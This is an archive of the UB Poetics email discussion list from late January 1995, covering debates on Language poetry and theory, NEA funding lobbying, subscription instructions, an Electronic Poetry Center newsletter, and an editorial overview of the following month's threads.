Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Mon 30 Jan 1995

It is quite possible that I missed the point of Ira's posting. I don't deny that, nor did I mean to imply that I somehow know more names than he and as such am more qualified, though I admit it sounded that way even to me after I read it. My point is that the past has never been fixed, thus no break. The enterprose is flawed in itself and I tried to demonstrate that the conflicts mentioned are perennial, not new. And as far as Jung goes, I'm just not interested. Remember also that Lacan's point was not that God exists, but that s/he is unconscious, as for example is woman, which also doesn't exist. I'm not claiming, by the way, that this is any more interesting. Anyway, thanks, Eric ([redacted])

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199. **Mark Wallace**
Re: apex of the m...
Mon 30 Jan 1995

I appreciate James Sherry's remarks about my query. I have one more query for him. James, what is it about the "prose style" (hope I'm getting it right) of Apex that you find admirable?

mark wallace

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200. **Mark Wallace**
Re: apex of the m...
Mon 30 Jan 1995

---

to add to my post of a moment ago, I see that James said "prose writing." My query still stands.

mark wallace

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201. **Spencer Selby**
Re: reified names vs. boundless vocabulary
Mon 30 Jan 1995

Dear Eric, I'm not saying this forum is a bad thing. I'm saying it's important to interrogate the discourse (some of it, at least) as much as the participants seem

to want to interrogate each other. Dear Chris, Thank you for yr response, yr honesty and willingness to step back. I'm not sure sending poems is the answer, though I wouldn't rule it out either. As I say above, there are times when the overall discourse deserves more critique than the positions individuals are taking. I admit that I don't buy this "theory is practice" thing. I know people can be very articulate in that direction and I know there's not always a clear line between the two and I know theory can be helpful to practice. But it can also be a negative, a weapon, a suit of armor, a self-promotion, an excuse to revel in one's intellect and ability to rationalize. Or maybe theory/practice is not the issue. Maybe the issue is the relation between the social discourse of writers and the work. Here again the discourse is helpful and even necessary, but it can also be destructive and counterproductive. Maybe more attention should be paid to the dark side here, to the ways this discourse may close off space or possibilities. My other suggestion would be to encourage those who don't participate to get involved, offer their two cents, or reconsider their silence. Perhaps it's natural that few do most of the talking, but it's certainly not preferable. I will even say it doesn't seem right that so many signed on here seldom if ever jump in. Spencer Selby

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202. **Carlos Gallego**

Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)

Mon 30 Jan 1995

---

perversion of context, but that's o.k.-- it serves a purpose (Wittgenstein):

> tHE PaST (or) His-Story--HiStOry: "In you more than you..." THUS,
> "a decisive break with past?"
> hm is (?) right
>
> (all this more of an interruption than a position-- like
> listening more than saying)
>
> P.s. "In you more than you..." some french guy named Lacan

> Carlos Gallego
> Stanford Univ. (THE tower of Babylon)
> [redacted].

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203. Ron Silliman

Re: NEA & Randy Cunningham

Mon 30 Jan 1995

Here are the office phone #s for the members of Congress who will determine whether or not the NEA gets funded. Also included are their snail mail addresses (LHOB = Longworth House Office Building, I believe; RHOB = Rayburn; I don;t what the C is for).

As I noted in my last email, Cunningham is the person who will have the most impact. Michael, Jerry, Rae -- you can have the most impact of all the people on the list. Steve/Jennifer, call in your old San Diego friends.

My experience as a lobbyist in the mid-70s (when I stopped over $240 million in construction funds for new prisons) taught me two things worth remembering:

1) Almost all legistlation comes down to one or two interested members who basically trade their pet projects with each other to make up coalitions and majorities. These are the folks for the NEA.

2) It is awfully easy to halt spending, much harder to start it. The NEA is up against the wall.

Member Party State/ Room Phone
Name District Number Area Code: 202

Michael N. Castle R DE00 1207 LHOB [redacted] Randy "Duke" Cunningham R CA51 227 CHOB [redacted] Newt Gingrich R GA06 2428 RHOB [redacted] William F. Goodling R PA19 2263 RHOB [redacted] Steve Gunderson R WI03 2185 RHOB [redacted] John R. Kasich R OH12 1131 LHOB [redacted] Bob Livingston R LA01 2406 RHOB [redacted] Ralph Regula R OH16 2309 RHOB [redacted] Marge Roukema R NJ05 2469 RHOB [redacted]

These numbers are all available through Thomas, the congressional WWW site.

And, oh yes, I was wrong. There is one woman involved in the process at this level. But the general boys club effect still seems to hold.

Onward,
Ron Silliman

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204. Evans/Moxley
Re: NEA & Randy Cunningham
Mon 30 Jan 1995

Thanks to Ron for the concise breakdown of key legislators on the NEA issue. On Randy "Duke" Cunningham, I understand from Cole Heinowitz in San Diego that a group of people stayed after *Freely Espousing* wrapped up on Saturday to discuss ways of working on him. Cole mentioned a tentative plan to work with the Escondido Arts Center (Escondido is "Duke"'s district) and possibly the mayor of SD to get a meeting with Cunningham.

If anyone has information that could help in this effort, please pass it along, either via e-mail to us or by phone directly to Cole.

Cole's phone number is [redacted]. She is working with Deedee Halleck (of Paper Tiger TV & Video), Roderigo Toscano, and several other people on this.

And Ron--did your contacts mention a time-line for the House appropriations process? I'm assuming the curve is shorter there than in the Senate's reauthorization process, but precise info would be highly valuable.

We won't have time to post a detailed update on 1/28 this evening (our lives--more or less suspended for the past two weeks--demand some attendance just now). We'll get something to the list shortly.

Greetings to All.

Steve Evans & Jennifer Moxley
[redacted]

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205. Loss Glazier
How to Subscribe to RIF/T (Informational Posting)
Mon 30 Jan 1995

RIF/T Subscription FAQ Rev. 1-28-95
---------- H O W T O S U B S C R I B E T O R I F / T (An Electronic Journal of Poetry, Poetics, and Writing)

[redacted]
Leave the "to" and "subject" lines of your e-mail message blank.
In the body of the e-mail message type:
subscribe e-poetry Firstname Lastname where
"Firstname" and "Lastname" correspond to your actual name. You will receive a message confirming your subscription in short order.

Recent contributors include Charles Bernstein, Ben Friedlander, Michael Joyce, Lisa Jarnot, Robert Kelly, Hank Lazer, Susan Schultz, Katie Yates, and many others. Plus Riffs: dialogs on electronic compositional space ... and Rif/t chapbooks.

Thanks for your interest in RIF/T,
Loss Pequen~o Glazier
for Kenneth Sherwood & Loss Glazier

↑ Index

206. Evans/Moxley
Correction
Mon 30 Jan 1995

I mistakenly provided Craig Foltz's phone number in my previous post. The actual number for Cole Heinowitz is: [redacted].

Sorry for the confusion.

Steve Evans

↑ Index

207. Catherine Yates
subscription
Tue 31 Jan 1995

Please send me information as to how to re-enlist myself on the poetics list. I've forgotten. With thanks.
Katie Yates

↑ Index

208. **BLUOMA**
Re: Re- CALL FOR A DECISIVE
Tue 31 Jan 1995

Reply to: RE>Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE_
Ira,

I'm encouraged by your reply to Eric Pape contrasting Freud and Jung. Could you do this for all your points?

I haven't read a whole lot and I'm wondering who Stockhausen is and why Stockhausen is better than Cage and Zukofsky.

Bill Luoma
[redacted]

↑ Index

209. **BLUOMA**
Re: Re- reified names vs. bo
Tue 31 Jan 1995

Reply to: RE>Re: reified names vs. boundless vocabulary
Spencer,

> *But it can also be a negative, a weapon, a suit of armor, a*
>
> *self-promotion, an excuse to revel in one's intellect*
>
> *and ability to rationalize.*

Yes, I agree theory often functions in this way. It's also a way to market yourself, especially in terms of academic jobs. If you want to eat on the university meal ticket, you'd better be able to argue convincingly if not arrogantly.

However, there are other times where you need a thorough and convincing polemical stance to accomplish some "good" means. What if you were on a senate panel with Jesse Helms? What if you were a Language Poet in 1980 and you saw what was passing as good writing and good teaching?

Thanks to the L poets (and Tony Door), the field is now wide open. I would like clarification from the M on why they want to narrow down the present opening to one acceptable "lyric" mode.

Bill Luoma
[redacted]

↑ Index

210. **Charles Bernstein**

Re: subscription

Tue 31 Jan 1995

Sign yourself up using these instruction: however if you have any problem doing that just reply to this message and I will sign you up. It is funny to see you send that message to the whole list since there were several messages inquiring/speculating about yr whereabouts on the list last week or the week before, as you will no doubt now here from other! --charles ****

Welcome to the Poetics List.

Please note that this is a private list and information about the list should not be posted to other lists or directories. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list small and the volume managable. Word-of-mouth (and its electronic equivalents) seems to be working fine: please feel free to invite people you know to sign-up. It is easier for me if they sign-up by themselves AND send me ([redacted]) a note telling me how they heard about the list. I will send them *this* document in reply.

To see who is subscribed to Poetics, send an e-mail message to

[redacted]

body of your e-mail message type:

review poetics

(The shorter bitnet address is [redacted]. All further references to "Listserve" are to this listserve.)

message, with no subject line, to the listserv address:

{or}

I will be sent a notice of all subscription activity.

ARCHIVES

There are two ways to get archives. The easiest way is to use the archives of the list at the Electronic Poetry Center (EPC), for which see the end of this message. The other way is described below:

Anyone interested in an archive of all postings after March may send this message to "Listserve":

index poetics

or

index poetics f=mail

You will receive a list of archived files in a format that includes something like this:

```
*                        rec            last - change * filename filetype   GET PUT -fm
lrecl nrecs   date     time

  POETICS  LOG9403    ALL OWN V      80  1012 94/05/31 07:17:17
Started on Mon,
7 Mar 1994 12:51:12 -0600
  POETICS  LOG9404    ALL OWN V      83  1864 94/05/31 07:18:54
Started on Sat,
2 Apr 1994 16:01:07 -050
  POETICS  NOTEBOOK   ALL OWN V     640  1693 94/06/09 15:27:09
Started on Sun,
1 May 1994 09:47:10 -0500
```

You can then send the "get" command to "Listserve" in the format:

```
get filename filetype  (eg: get poetics log9403
                       get poetics log9403
                       get poetics notebook)
```

or

get filename filetype f=mail

depending on which log file you want (you can also get multiple files with one message). Note that each of the files has a different beginning and end date, eg LOG9404 starts 7 March and goes to 31 May and that dates overlap. Go figure! "Poetics Notebook" is an anomalous name for what is, in effect, another log file.

****

Send an e-mail message to [redacted]. Leave the "Subject" line of the e-mail message blank. In the body of your e-mail message type:

subscribe e-poetry Firstname Lastname

where Firstname and Lastname correspond to your name.

You will receive a confirmation of your subscription soon thereafter. (Nonsubscribers can automatically sub to Poetics using this same format, but substituting "poetics" for "e- poetry".)

**

```
 ____   ____   ____
/   /  /   /  /   /
EEEE   PPPPP  CCCCC
```

```
   EE /   PP PP  CC  C/
   EEE    PPPPP  CC   /        URL=gopher://writing.upenn.edu/11/
  __EE  /_ PP |__ CC  C ____
 /  EEEE/  PP/    CCCCC/    /    internet/library/e-journals/ub/rift
/_________________________/
|-------------------------|
| Electronic Poetry Center |
|_________________________|
```

E P C . N E W S

No. 1 (January, 1995)

Contents:

1.0 Basic Assumptions
2.0 Poetry and the Electronic Place
3.0 Interfaces: Gopher, Web, Mosaic; Bookmarks
4.0 RIF/T Notes
5.0 EPC New Additions
6.0 How to Connect

1.0 Basic Assumptions

The Electronic Poetry Center seeks to provide a central _place_ for Internet resources for poetry and poetics.

The lay of the land:

1.__Welcome : Electronic Poetry Center Welcome & FAQ's (About)/
2.__RIF/T : RIF/T / New Poetry, Prose, & Poetics (Texts)/
3.__Poetics : Calendar, Poetics List Archive & Files (Texts)/
4.__Authors : Electronic Poetry & Poetics - Authors (Texts)/
5.__E-Journals : Gateway to Electronic Poetry Journals (Texts)/
6.__E-Resources : Gateway to Electronic Poetry Resources (Connects)/
7.__Small Press : Electronic Poetry Center Small Press Alcove (Cites)/

8.__Gallery : The Electronic Poetry Gallery (Visuals)/
9.__Sound : The Electronic Poetry Sound Room (Sound Files)/
10._Documents : Poetry & Poetics Document Archive (Texts)/
11._Exhibits : Electronic Poetry Center Exhibit case (Texts)/
12._Notices : Electronic Poetry Center Announcements (Info)/

The Center continues to provide access to the electronic poetry and poetics journal, RIF/T, and the archives of the Poetics List. Needless to say, the EPC provides quality archival materials for these resources. For the Poetics archive, a feature has recently been added to allow keyword searching for the immense number of files comprising this archive.

The EPC author library offers texts and/or information about contemporary poets in a variety of formats.

A number of electronic journals are archived and distributed by the EPC. Journals distributed through the EPC differ from other e-journal archives in a significant way: the texts presented here have been checked and verified by their issuing agency, thus at least getting to you versions of electronic journals that have a direct link to their source. We are delighted to offer these journals to you and will continue to make sure texts presented are done so in collaboration with their producers. For resources outside the EPC, we have written links to make seamless connections to these resources. It is our aim to be vigilent about our links so that persons interested in poetry and poetics do not have to spend a lot of time digging for addresses, remembering sites, and locating resources. Through the selections available at the EPC, users of the system have simple and direct access to many other related Internet resources.

The Center also provides information about contemporary little magazines and small presses engaged in poetry and poetics. Since this information is often difficult to locate, it is presented at the EPC in hopes of recongizing these contributions, facilitating communication, and providing an additional outlet for these extremely valuable print sources. Look here also for Selby's List of Experimental Magazines.

The Poetry & Poetics Document Archive provides access to a number of documents of use to poets, teachers, and researchers. Here you will find essay material and current obituaries. This area should be consulted in conjunction with the Poetics Files and Small Press Sources areas, which also offer material of pedagogical use.

The EPC also presently offers gallery, sound, exhibts, and an announcements area.

2.0 Poetry and the Electronic Place

Compared to say, a year ago, many people might agree that the idea of some sort of an electronic forum for poetry is not only a possibility but an inevitability. We have seen the continued growth of the Poetics List (I counted around 250 postings the month of December 1994 alone) and the development of the Electronic Poetry Center. The EPC has maintained a significant circulation. We regularly get letters from various world outposts attesting to the reality of such connectivity. Interesting also are the number of visits taking place, both locally and across distance; despite the dips and peaks that typify any active place, the EPC has seen a good amount of traffic across its doorstep. For those with such inclination (and it is illuminating that the following compare favorably with circulation statistics, say, for a little magazine) here are some numbers:

Month	_Connects_
Nov 1994	573
Oct 1994	429
Sep 1994	367
August 1994	348
July 1994	614
June 1994	110

These statistics give only a sense of scale, it should be noted, since direct connections to EPC submenus and entries through Veronica searches, a significant number of connects, are not included in the above statistics.

3.0 Interface: Gopher, Web, Mosaic

Even as activities converge, it is also the time of divergent interfaces. I am often surprised by the number of our contributors and participants who do not even have gopher access. (These, again, not represented in the above statistics.) Most people, we figure, have at least gopher access, though Web access is quickly becoming a standard. Mosaic, it would be assumed, though assuming predominance in the University setting, has hardly become a reality for most dial-up users, particularly internationally. (For the sake of a common ground, gopher is an ascii-based interface that offers access through the selection of menus; the web is an ascii-based interface that offers access through _screens_ of information with links to other areas appearing as highlighted text; Mosaic is a graphical interface basically superimposed on the Web structure that offers images, sound, video, and allows you to use your

mouse as a navigational tool.) The EPC is accessible through any of these interfaces. It is presently evolving strongly towards exclusive Web/Mosaic access.

Informational Notes: (1) The standard for Web/Mosaic documents is the markup protocol called html. These are imbedded codes that you will see once in a while when you download an html document. These codes give instructions to the software about highlighting, fonts, and screen layout, as well as providing for the _hot links_ that make possible Web/Mosaic navigation. (2) A feature of these interfaces that should be mentioned is the bookmark. You may wish to investigate this as most systems allow you to set a bookmark, say at the EPC, and gain immediate access to it when you invoke your interface.

4.0 RIF/T Notes

Forthcoming from RIF/T are two special issues. The first of these is the Transpoeisis issue (see EPC Announcements for details) which will offer a muti-faced and multi-format approach to the presentation of translations. Also forthcoming, a planned special issue on Charles Olson. RIF/T will also soon issue the first in a series of special chapbooks. Much on the way!

5.0 EPC New Additions

Many additions have been made to the EPC in the past six months. Following are some of the journals archived and directly distributed by the EPC:

DIU / Albany
Experioddi(cyber)cist / Florence, AL
Inter\face / Albany
Poemata - Canadian Poetry Assoc. / London, Ontario (Info)/
RIF/T: Electronic Space for New Poetry, Prose, & Poetics
Segue Foundation/Roof Book News / New York
TREE: TapRoot Electronic Edition / Lakewood, Ohio
We Magazine / Santa Cruz
Witz / Toluca Lake, CA / via Syntax

Significant connections which the EPC would like to highlight include the following:

Alternative-X
Basil Bunting Poetry Centre (Durham, England)
[Informational]
Best-Quality Audio Web Poems (Rhode Island)
Carma Bums 'Tour of Words'

CICNET Electronic Journal Archive
Institute for Advanced Technology in the Humanities
(Virginia)
Internet Poetry Archive (North Carolina)
Michigan Electronic Text Archive
Nous Refuse Discussion List (Illinois)
Postmodern Culture (North Carolina)
Whole Earth 'Lectronic Magazine

6.0 How to Connect

The Center is located at gopher://writing.upenn.edu/11/internet/ library/e-journals/ub/rift

Gopher Access: For those who have access to gopher, type
gopher writing.upenn.edu
at your system prompt. First choose Libraries & Library Resources, then Electronic Journals, then E-Journals/Resources Produced Here At UB, then The Electronic Poetry Center. (Note: Connections to some Poetry Center resources require Web access, though most are presently available through gopher).

World-Wide Web and Mosaic Access:
For those with World-Wide Web (lynx) or Mosaic access, from your interface, choose the _go to URL_ option then go to (type as one continuous string)
gopher://writing.upenn.edu/11/internet/
library/e-journals/ub/rift

(Substituting hh for 11 in the URL above may produce better results on your system.)

Check with your system administrator if you have problems with access. Also ask about setting a "bookmark" through your system for quick and easy access to the Center when you log on.

If you have comments or suggestions about sites to be added to the Center, do not hesitate to contact Loss Pequen~o Glazier, [redacted] or Kenneth Sherwood, [redacted]

The Electronic Poetry Center is administered in Buffalo by
E-Poetry
and RIF/T in coordination with the Poetics List.

Loss Pequen~o Glazier
for Kenneth Sherwood and Loss Glazier
in collaboration with Charles Bernstein

End of EPC.News #1

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211. **Jeffrey Timmons**
Re: apex of the m...
Tue 31 Jan 1995

A naive question from the unlearned:

Would someone please articulate in what ever fashion possible some general practices/theories of L=A=N=G=U=A=G=E poetry? What a hassle to type that. I won't hold anyone responsible for the reductive nature of categorizing what is (obviously) a highly diverse assortment of writers and writing. Ok?

Jeffrey Timmons

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212. **Jeffrey Timmons**
Re: Espousing Update 1/26
Tue 31 Jan 1995

On Mon, 30 Jan 1995, Ted Pelton wrote:

> *Let me know if you find anything interesting in your forays into contemporary conservative political thought; to my mind, an anti-immigrant movement or a desire to keep the U. S. culture pure means no more today than it did when the Know-Nothings tried it in the 19th century. I don't consider fear of the unknown a viable or useful political or cultural philosophy.>*

Well, I would say that I'm sure that while there are similarities, the particular purposes to which such attitudes are harnessed speak to are different--at least to the extent that that was then and this is now. What more precisely do you see as the similarities though? How did that turn out? And, again, simply for the perverse interest I have in what "those" folks are saying, perhaps you don't consider it a viable or useful political/cultural philosophy but there are others who are using it successfully to garner and wage power. Unfortunately.

In the meantime, I
> distrust anyone who claims to speak for American values (Chomsky does read
> this well, I agree); the main American value I personally see as having come
> out of the recent elections is that the overwhelming majority of citizens
> lead private lives very distant from the machinations of policy-making and

> choose not to participate (or at least don't actively seek to vault the
> blocks preventing their participation).

American, then, would seem to equate with something very unpleasant--at least in our eyes. But while I agree most choose not to participate, it is particularly disturbing that those who do not agree with that version of America don't vote; or, another way, those that do agree with that version of America do vote. There's a poetics of America here that I would like, some day, to articulate--perhaps it's been done, but to set it in terms of the present need be done. Any suggestions, in terms of poetry of who's doing this? I think of Ginsberg, obviously, but who else?

On another note: I have been in favor of proportional representation and continue to think that our system is too anachronistic (sp?) to "re-present" the plurality that is America. La, la, la....

> *Generally speaking, I think that it's in the interest of a healthy state to help support an avant-garde that will question the values the state puts forth as mainstream. A state that becomes intolerant of and seeks to eliminate such non-mainstream voices is, to my mind, that much less healthy.*

And there is an interesting point to make here: is an avant-garde antithetical to the mainstream? Isn't it by definition? I would argue that it's just the opposite of how you describe it: a state has an obligation to delimit, maintain, police, and exclude those voices which question its power, authority, and ability to narrate its existence. You know? Yes, though, you're completely right: the state is unhealthy when it seeks to eliminate voices. And it is about as sick as I've ever seen it.

My own values are insulted. You may be
> right, it may be cultural war, but I know what side I'm on if that's true
> (and so do you, I'd suspect).

Yes, so are mine. Constantly. I read with great disappointment today that the smithsonian will exhibit the enola gay without comment. A victory for a representation of war and America (perhaps I should use a little "a" for now on) as entirely justified in its destruction of thousands of lives--as if to question that perception were tantamount to treason. It frightens me greatly that alternative views of that horrible event cannot be funded or articulated; though, at the same time, I don't think that questioning of our actions (dropping the bomb) has ever been stronger than at present. And yes, I know what side I'm on. I just want to know what it is that's being said, who's saying it, and why. It's hard to argue with the opposition if you don't know what they're arguments are--an obvious point, I'm sure.

One last item: I've been reading Micheal Berube's new book Public Access. It's a wonderful examination of the culture wars and attacks on academia,

especially as it tries to correct the distortions of the right about higher education. Particulary in the literary studies area. But what I find most valuable about it is that it seeks to engage a wider audience than a strictly theoretical readership--something long overdue at this juncture.

Regards,

Jeffrey Timmons

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213. **Jeffrey Timmons**
Re: reified names vs. boundless vocabulary
Tue 31 Jan 1995

On Mon, 30 Jan 1995, Spencer Selby wrote:

> *Dear Eric, I'm not saying this forum is a bad thing. I'm saying it's important to interrogate the discourse (some of it, at least) as much as the participants seem to want to interrogate each other.*
>
> *Dear Chris, Thank you for yr response, yr honesty and willingness to step back. I'm not sure sending poems is the answer, though I wouldn't rule it out either. As I say above, there are times when the overall discourse deserves more critique than the positions individuals are taking.*
>
> *Maybe the issue is the relation between the social discourse of writers and the work. Here againthe discourse is helpful and even necessary, but it can also be destructive and counterproductive. Maybe more attention should be paid tothe dark side here, to the ways this discourse may close off space or possibilities.*

Hey, yeah! You know what, though, I'm not sure we have a discourse here, as is being said. Sometimes we do, as discussions on Apex, experiment show; other times it seems to waffle in this vague, disembodied dislocation of personal interrogations. I guess, if I were to make a suggestion along these lines, it would be (as Tom Mandel might suggest, if I might be so bold) to be more specific. What is the discourse of L poetry that is under question, whose practice and why is under consideration. Poems, poems, practice and theory.

In another sense, too, perhaps the extant discourse is closing off something that needs to be accounted for--what are we not talking about? The connection of social discourse to writers seems interesting. What does it mean in terms of specific writers?

> *My other suggestion would be to encourage those who don't participate to get involved, offer their two cents, or reconsider their silence. Perhaps it's natural that few do most of the talking, but it's certainly not preferable. I will even say it doesn't seem right that so many signed on here seldom if ever jump in.*

Yes, I agree. Perhaps some basic questions might help. What are we interested in? Who are we interested in and why? Why did we join the poetics listserv? For myself I thought it a good channel to supplement my interactions with other people, with other views about poetry and poets. Duh, huh? It's turned into much more than that, though. Bosnia, Freely Espousing, Academia and the work world. . . . How marvelous. Just what I wanted.

I also joined because I was very interested in Charles Bernstein's work and hoped to listen in on what he had to say about poetry and his own work; I have Dark City and am very intrigued and amused, though I don't claim to understand. I laugh a great deal. I think of television and commercials, as if he's doing a pastiche, clashing and inserting various ranges of discourse--a very perverse inversion of Eliot's "I can connect/Nothing with nothing." I don't know. It's fun and I hope to keep learning from my reading of it--any suggestions?

I'll leave off here--for no particular reason.

Jeffrey Timmons

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214. Tom Mandel

Re: reified names vs. boundless vocabulary

Tue 31 Jan 1995

---

words must be read in context. read my words in context, not as an abstract opposition of poetry and theory but as a contextualized one. sure, theory (or criticism, or history, whatever) is also an art activity, an art form, a form of writing, what have you. And yet.... are we to succumb to the idea that there is no difference between Moses Und Aaron and Harmonielehre? I think my point was clear enough. What use to react to it in a way that is no reaction at all?

tom Mandel

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215. Tom Mandel
Re: CALL FOR A DECISIVE BREAK WITH THE PAST (NURTURE THE APEX)
Tue 31 Jan 1995

Eric Pape writes:

Thus it's crucial for any movment to compete theoretically as well as poetically. To pick the right voice.

This is true and interesting, like so much of what Eric writes in this forum. I, on the other hand (or is that "for example") didn't suggest that Schoenberg's harmonic theory wasn't essential to his music - to him writing his music. Only that the music doesn't topple when the theory's knocked over.

tom m.

↑ Index

216. eric pape
Spirits, etc.
Tue 31 Jan 1995

Just to clarify. This is as true as stories get. My great-grandmother and her sister sit at the kitchen table. The wind heaves sheets of sand at the screen door. They're telling me about the lost people of the lost country of Mu, on the lost continent of Lemuria. These are the first people, on the first world. The strange words you hear just before you fall asleep is their language. We and Elves and Martians are related to the Lemurians. Aunt Alice mentions how once she traveled in a dream to Mars and taught the women there to use ladles, because before they had only their tongues to scoop up the thin soup they cook on that planet. My great-grandmother mentions how once she opened up her closet door to find Elves dining with spiders, but they didn't have enough to eat so she poached an egg for them. As a result, all the black widows that plagued her garage left for the desert over night.

> Making them principles does not serve spirits.
> There is no compassion in racial memory.
> Engendering stereotypes does not create a community.
> We are related to the first people by language.
> We do live in a world where Martians need to be taught to use
> a ladle and where Elves should be fed.
> That this story came from my family is not insignificant, because
> spirituality *cannot* be faked.

Thanks, Eric ([redacted])

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217. **Rodger Kamenetz**
Re: Spirits, etc.
Tue 31 Jan 1995

ERic Pape writes: There is no compassion in racial memory. "Also you shall not oppress a stranger: for you know the soul of a stranger because you were strangers in the land of Egypt." Ex 33:9. (I know I know I'm quoting out of context & there's plenty of blood curdling racial memories in the same text.) RK

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218. **Spencer Selby**
Re: Re- reified names vs. bo
Tue 31 Jan 1995

Dear Bill, What is a "thorough and convincing polemical stance" in the U.S. Congress? I shudder to think... As for L poets, I give them credit for opening things up in certain ways, but it's also true that the openings they accomplished were only partial, and that there were closings which also resulted. I wouldn't call the field today "wide open." If it were so, there'd be more unique, original work than I believe there is. Dear Jeffrey, Be specific, sure. But if you get too specific it will again be people talking or arguing about their personal tastes and beliefs. Some of that is inevitable and fine, but I think the value of this forum would be limited if that's what dominates. There needs to be a balance between the general and specific, in my opinion. Otherwise there's no basis for communication that different people can relate to. Yrs, Spencer Selby P.S. Sorry if I seem argumentative. I do appreciate the input from both of you.

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219. **Stephen Ratcliffe**
Re: reified names vs. boundless vocabulary
Tue 31 Jan 1995

---

dear spencer, I'm getting on board this group talk/mail thing, and want to ask you to send me another copy of your magazine list, which I seem to have misplaced and want now to pass along to some interested students. Thanks, and keep up the good work (writing/reading)! Stephen Ratcliffe, P.O. Box 542, Bolinas, CA 94924

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220. **eric pape**
Re: Spirits, etc.
Tue 31 Jan 1995

That last sentence should read:
.....spirituality cannot be faked, only shared.
Thanks, Eric ([redacted])

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221. **James Sherry**
Re: apex of the m...
Tue 31 Jan 1995

..but how did he make the argument from the perspective of the practice of revolution, since revolutions in art take resources away from the political revolution. This was a brave statement for him to make and I wonder in what context and in what way he made it, since his argument must speak to the questions that are continuously raised about the social utility of art. Best, James

On Sat, 28 Jan 1995, George Bowering wrote:

> *He meant revolutionary ART,*
> *not art about the revolution.*

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222. **James Sherry**
Re: apex of the m...
Tue 31 Jan 1995

Being a fan of Richard Hooker, I find Lew Daly's style remarkably independent of the last 300 years of prose writing and yet it has a current ring to it; and I wonder how both impressions can be the case. I haven't looked back at it to reply in detail, but if you're interested we can take a detailed discussion off-line, since I am concerned lest a polemic ensue. Thanks for your interest. Jamse

On Mon, 30 Jan 1995, Mark Wallace wrote:

> *I appreciate James Sherry's remarks about my query. I have one more query for him. James, what is it about the "prose style" (hope I'm getting it right) of Apex that you find admirable?*
>
> *mark wallace*

↑ Index

223. **Jeffrey Timmons**
Re: reified names vs. boundless vocabulary
Tue 31 Jan 1995

On Tue, 31 Jan 1995, Tom Mandel wrote:

> *words must be read in context. read my words in context, not as an abstract opposition of poetry and theory but as a contextualized one. sure, theory (or criticism, or history, whatever) is also an art activity, an art form, a form of writing, what have you. And yet.... are we to succumb to the idea that there is no difference between Moses Und Aaron and Harmonielehre? I think my point was clear enough. What use to react to it in a way that is no reaction at all?*

Ok, ok, I'll try harder. Let me, then ask, what constitutes a "reaction" in your view? This is not a trick question....

Jeffrey Timmons

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224. **Jeffrey Timmons**
Re: Re- reified names vs. bo
Tue 31 Jan 1995

Yes, Spencer, general and specific would be best. So much seems so general, though, that I thought ....

Jeffrey Timmonss

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225. **Jeffrey Timmons**
Re: apex of the m...
Tue 31 Jan 1995

On Tue, 31 Jan 1995, James Sherry wrote:

> *Being a fan of Richard Hooker, I find Lew Daly's style remarkably independent of the last 300 years of prose writing and yet it has a current ring to it; and I wonder how both impressions can be the case. I haven't looked back at it to reply in detail, but if you're interested we can take a detailed discussion off-line, since I am concerned lest a polemic ensue. Thanks for your interest.*

Why off-line? I'd like to see what it is and how you account for it.

Jeffrey Timmons

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

February 1995

505 messages · Wed 1 Feb 1995 – Sat 4 Mar 1995

February is the shortest month, and the list contrives to spend nearly all of it inside a single argument. Outside, the new Congress settles into its majority and begins sharpening its knives for the endowments; Barings, the bank that once financed the wars against Napoleon, dissolves inside a week over one young trader's losses; and Grozny falls, block by ruined block, to Russian guns. The list attends to none of this directly and to all of it obliquely, having found a quarrel of its own large enough to contain everything else — a quarrel over theory that grows so many heads its own participants can no longer agree what to call it.

The thread arrives decently titled *“reified names vs. boundless vocabulary,”* and within days the subject line begins to rot in transit — first into *“deified theories and unfounded vocabularies,”* then, gloriously, into *“refried theory and deified beans,”* as though the argument had begun to digest itself. Spencer Selby and Tom Mandel circle the ancient question of whether theory serves the poem or quietly usurps it; the misreadings compound, letters cross in the mail, and Mandel at last discovers he has spent days answering the wrong man entirely. It is the list's native weather: heat, wit, and the abiding suspicion that everyone is talking past everyone else. James Sherry, meanwhile, patiently inventories the Language poets' bookshelf for the newcomers, as though a movement might be made safe by being catalogued.

Beneath the theatre of theory runs a quieter reckoning. Ron Silliman, struck by how few women post to a list so many women evidently read, turns and asks them outright — *“Why do you lurk without posting?”* The thread that answers is filed, with spectacular clumsiness, under the heading *“Boy Talk,”* and it draws Kali Tal and others out of what she wryly calls lurkdom. The question is sincere, and so is the awkwardness it exposes; for a few days the list is made to regard its own reflection, and does not entirely care for what looks back.

Relief comes, as it always does here, through elaborate nonsense. cris cheek mounts a magnificently straight-faced pseudo-history of a *“Cockney Folk Dance,”* dragging in Matthew Arnold and a praying mantis before concluding, with liturgical calm, that *“Coherence is its essence.”* Nearby, Chris Stroffolino pursues Parmenides and the signifier through a thicket of question marks until he arrives at the month's perfectly circular koan — *“Should we theorize immediacy?”* — a

sentence that might serve the list at once as motto, as symptom, and as warning, and that no one present is able to answer without proving its point.

And then, past all the arguing, a death. Nina Iskrenko — the Moscow poet whose improvisations had lit up more than one American room — is gone at forty-three, and the list that spent the month theorizing pure immediacy is abruptly handed the real article's absence. Tom Mandel, who had met her only once, remembers that *"A great brilliance proceeded from her,"* and, finding her death first noted beneath the unlucky *"Boy Talk"* banner, offers what may be the truest sentence in the whole archive: *"I have no excuse at all."* I have set the quarrels in their proper order and left the grief exactly where it fell, at the bottom of the month, where no one answered it.

— Kristen M. Fabians

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478. Sheila Murphy — Fwd: Re: Thoughts About Engag...
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490. aa1464 — Re: going somewhere?
491. aa1464 — Re: what is this terrorism thing?
492. aa1464 — Re: What Silliman Really Likes?
493. aa1464 — Re: Olson bashing is just as bad as Silliman bashing
494. aa1464 — Re: media's LOVE/HATE silliman problem
495. aa1464 — Re: media's LOVE/HATE silliman problem
496. aa1464 — Re: I *TOUCHED* what! :)
497. aa1464 — Re: I *TOUCHED* what! :)
498. aa1464 — Re: What Cover (was I *TOUCHED* What! :)
499. eric pape — Throw me something!
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502. Carla Billitteri — correction

1 MAR 1995

503. Susan Schultz — Re: POETICS Digest - 27 Feb 1995 to 28 Feb 1995

3 MAR 1995

504. George Bowering — Re: theory & truth

4 MAR 1995

505. George Bowering — Re: what is this Silliman thing?

1. Mark Roberts

AWOL: Overland Magazine

Wed 1 Feb 1995

****

